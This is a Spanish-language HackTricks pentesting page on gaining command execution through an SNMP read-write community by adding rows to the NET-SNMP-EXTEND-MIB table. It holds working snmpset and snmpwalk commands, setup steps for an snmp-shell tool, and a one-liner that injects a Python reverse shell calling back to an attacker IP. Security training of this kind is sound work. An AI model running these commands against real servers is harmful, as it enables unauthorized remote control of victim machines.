hacktricks/network-services-pentesting/pentesting-snmp/snmp-rce.md
carlospolop 63bd9641c0 f
2023-06-05 20:33:24 +02:00

6.6 KiB

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Este post fue copiado de https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/

SNMP a veces es pasado por alto por el administrador del dispositivo o servidor donde se deja en una configuración predeterminada. La comunidad SNMP con permisos de escritura (rwcommunity) en el sistema operativo Linux puede ser abusada para permitir que el atacante ejecute un comando en el servidor.

Ampliando los servicios

Aunque no se pueden modificar las entradas existentes que se configuraron en snmpd.conf, es posible agregar comandos adicionales a través de SNMP, porque la configuración de permisos "MAX-ACCESS" en la definición MIB está establecida en "read-create".

Agregar un nuevo comando básicamente funciona agregando una fila adicional a la tabla "nsExtendObjects".

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'

Inyectando un comando para ejecutar en el servicio SNMP. NET-SNMP-EXTEND-MIB requiere que siempre proporciones la ruta absoluta al ejecutable. El binario/script llamado también debe existir y ser ejecutable.

Ejecutando el comando que inyectamos en SNMP enumerándolo usando snmpwalk.

snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects

Mostrando que el comando es /bin/echo.

El comando se ejecutará cuando se lea. run-on-read()

El comando /bin/echo "hello rio is here" se ejecutó durante nuestra lectura de snmpwalk

Obteniendo la Shell desde Net-SNMP Extend

En esta sección, me gustaría discutir cómo obtener una shell de servidor para controlar el servidor.

Puede utilizar un script de Python desarrollado por mxrch que se puede descargar desde https://github.com/mxrch/snmp-shell.git

Puede instalar el pre-requisito para ejecutar esto:

sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt

Creando shell inversa

También puedes crear una shell inversa manualmente inyectando el siguiente comando en el SNMP.

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'

Ejecuta el comando snmpwalk para activar la ejecución de comandos.

Nuestro netcat recibe la conexión de reverseshell de la víctima que nos permite tomar el control de la máquina víctima.

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥